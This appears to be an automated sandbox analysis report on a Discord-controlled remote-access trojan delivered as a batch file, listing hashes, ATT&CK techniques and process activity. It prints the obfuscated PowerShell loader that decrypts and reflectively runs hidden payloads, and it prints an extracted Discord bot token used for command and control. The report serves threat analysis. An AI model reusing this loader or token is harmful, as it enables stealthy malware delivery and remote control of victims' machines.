discordrat | 0bfc1382aa6e0329b1787ba6e1da7c615698c40ebe3acc4c7eaf59393127e7ca

General

Target

Client-built.bat
Size

276KB
MD5

0c82a2b143ba3344234988e76a83fb9e
SHA1

41867630fed3a008020947c217b2d3029f0f7203
SHA256

0bfc1382aa6e0329b1787ba6e1da7c615698c40ebe3acc4c7eaf59393127e7ca
SHA512

491799b57350191479067677d9e98dd6dfb6f4e3755acbf806cbf9f7a5f4109822f03fbe7e216cfb19d8ccab49593b3fd07a06e524f8d75bb7a8e22b9b147e03
SSDEEP

6144:Rf7Ie6igEJsHvviyhG8gbKXFOyPUCWxyRKuwlAvB1PIg:VrgEYvviyKuSxLuwlAv/Ig

Score

10^/10

discordrat execution persistence rat rootkit stealer

Malware Config

Extracted

Family

discordrat

Attributes

discord_token
MTIxMjYwMTc0NTU0OTgxOTkyNA.G6ob17.hVj0y7t0oSi-tGvj_U-QqOqKV-xvE9qC8cf2k4
server_id
1239461504776933396

Signatures

Discord RAT
A RAT written in C# using Discord as a C2.
stealer rootkit rat persistence discordrat

Blocklisted process makes network request 4 IoCs

flow	pid	Process
13	4840	powershell.exe
21	4840	powershell.exe
23	4840	powershell.exe
24	4840	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
21	discord.com
24	discord.com
20	discord.com

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4840	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4840	powershell.exe
4840	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4840	powershell.exe
Token: 33	1652	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	1652	AUDIODG.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3492 wrote to memory of 2096	3492	cmd.exe	91
PID 3492 wrote to memory of 2096	3492	cmd.exe	91
PID 2096 wrote to memory of 2528	2096	net.exe	92
PID 2096 wrote to memory of 2528	2096	net.exe	92
PID 3492 wrote to memory of 4840	3492	cmd.exe	96
PID 3492 wrote to memory of 4840	3492	cmd.exe	96

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client-built.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3492
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2096
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:2528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('h/pj37mdJYLWvIIq4ccZ4XXl2YrTSq1NSmb5N3irBBA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AckqLhjbBU92JLFFeiEdeA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $XVapQ=New-Object System.IO.MemoryStream(,$param_var); $JKJeN=New-Object System.IO.MemoryStream; $Uldzf=New-Object System.IO.Compression.GZipStream($XVapQ, [IO.Compression.CompressionMode]::Decompress); $Uldzf.CopyTo($JKJeN); $Uldzf.Dispose(); $XVapQ.Dispose(); $JKJeN.Dispose(); $JKJeN.ToArray();}function execute_function($param_var,$param2_var){ $NLrpg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $keuMG=$NLrpg.EntryPoint; $keuMG.Invoke($null, $param2_var);}$cADeX = 'C:\Users\Admin\AppData\Local\Temp\Client-built.bat';$host.UI.RawUI.WindowTitle = $cADeX;$FbVEn=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($cADeX).Split([Environment]::NewLine);foreach ($HkIRx in $FbVEn) { if ($HkIRx.StartsWith(':: ')) { $sSiRv=$HkIRx.Substring(3); break; }}$payloads_var=[string[]]$sSiRv.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4840

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x150 0x2c8
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1652

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=1392,i,1809100026287847100,9768898026582633513,262144 --variations-seed-version --mojo-platform-channel-handle=1000 /prefetch:8
1⤵
PID:4704

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_moxft5z3.xg1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4840-0-0x00007FF94B1B3000-0x00007FF94B1B5000-memory.dmp

Filesize
8KB

Download
memory/4840-10-0x0000018FE3EA0000-0x0000018FE3EC2000-memory.dmp

Filesize
136KB

Download
memory/4840-11-0x00007FF94B1B0000-0x00007FF94BC71000-memory.dmp

Filesize
10.8MB

Download
memory/4840-12-0x00007FF94B1B0000-0x00007FF94BC71000-memory.dmp

Filesize
10.8MB

Download
memory/4840-13-0x0000018FE1DD0000-0x0000018FE1DD8000-memory.dmp

Filesize
32KB

Download
memory/4840-14-0x0000018FE40D0000-0x0000018FE4106000-memory.dmp

Filesize
216KB

Download
memory/4840-15-0x0000018FE3E80000-0x0000018FE3E98000-memory.dmp

Filesize
96KB

Download
memory/4840-16-0x0000018FE43D0000-0x0000018FE4592000-memory.dmp

Filesize
1.8MB

Download
memory/4840-17-0x0000018FE4AD0000-0x0000018FE4FF8000-memory.dmp

Filesize
5.2MB

Download
memory/4840-20-0x00007FF94B1B0000-0x00007FF94BC71000-memory.dmp

Filesize
10.8MB

Download

Analysis

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